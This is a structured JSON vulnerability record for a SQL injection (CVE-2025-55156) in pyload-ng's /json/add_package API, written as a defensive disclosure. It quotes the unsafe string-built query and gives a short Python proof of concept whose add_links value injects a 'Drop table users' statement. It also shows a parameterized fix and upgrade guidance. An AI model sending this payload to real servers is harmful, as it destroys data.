{"id":"CVE-2025-55156","aliases":["GHSA-pwh4-6r3m-j2rf","PYSEC-2026-1821"],"title":"PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter","summary":"PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter","severity":"high","vendor":"pyload-ng","product":"pyload-ng","ecosystem":"pip","affected":["pyload-ng < 0.5.0b3.dev91"],"patched":["pyload-ng 0.5.0b3.dev91"],"published":"2025-08-12","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-pwh4-6r3m-j2rf","references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rf"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55156"},{"url":"https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258f"},{"url":"https://github.com/pyload/pyload"},{"url":"https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271"}],"tags":["osv","pip"],"epss":0.00328,"epssPercentile":0.26199,"ingestedAt":"2026-07-08T18:25:52.034Z","slug":"CVE-2025-55156","body":"## Overview\n\n### Summary\nThe parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.\n\n### Details\n- Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271\n- Affected code:\n```python\n@style.queue\n    def update_link_info(self, data):\n        \"\"\"\n        data is list of tuples (name, size, status, url)\n        \"\"\"\n        self.c.executemany(\n            \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n            data,\n        )\n        ids = []\n        statuses = \"','\".join(x[3] for x in data)\n        self.c.execute(f\"SELECT id FROM links WHERE url IN ('{statuses}')\")\n        for r in self.c:\n            ids.append(int(r[0]))\n        return ids\n````\nstatuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.\n\n- Vulnerability Chain\n```xml\njosn_blueprint.py#add_package\nsrc/pyload/core/api/__init__.py#add_package\nsrc/pyload/core/managers/file_manager.py#add_links\nsrc/pyload/core/threads/info_thread.py#run\nsrc/pyload/core/threads/info_thread.py#update_info\nsrc/pyload/core/managers/file_manager.py#update_file_info\nsrc/pyload/core/database/file_database.py#update_link_info\n```\n\n\n### PoC\n```python\nimport requests\n\n\nif __name__ == \"__main__\":\n    url = \"http://localhost:8000/json/add_package\"\n    data = {\n        \"add_name\": \"My Downloads1\",\n        \"add_dest\": \"0\",\n        \"add_links\": \"https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--\",\n        \"add_password\": \"mypassword\"\n    }\n\n    response = requests.post(url, cookies=your_cookies, data=data)\n    print(response.status_code, response.text)\n```\n<img width=\"1599\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202\" />\n\n\n\n\n### Remediation\n ```python\ndef update_link_info(self, data):\n    \"\"\"\ndata is list of tuples (name, size, status, url)\n\"\"\"\n    self.c.executemany(\n        \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n        data,\n    )\n    \n    # 提取所有url\n    urls = [x[3] for x in data]\n    \n    # 构建参数化查询，避免SQL注入\n    placeholders = ','.join(['?'] * len(urls))\n    query = f\"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)\"\n    self.c.execute(query, urls)\n    \n    ids = [int(row[0]) for row in self.c.fetchall()]\n    return ids\n```\n\n\n\n### Impact\nAttackers can modify or delete data in the database, causing data errors or loss.\n\n## Affected packages\n\n- `pyload-ng < 0.5.0b3.dev91`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `pyload-ng 0.5.0b3.dev91`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}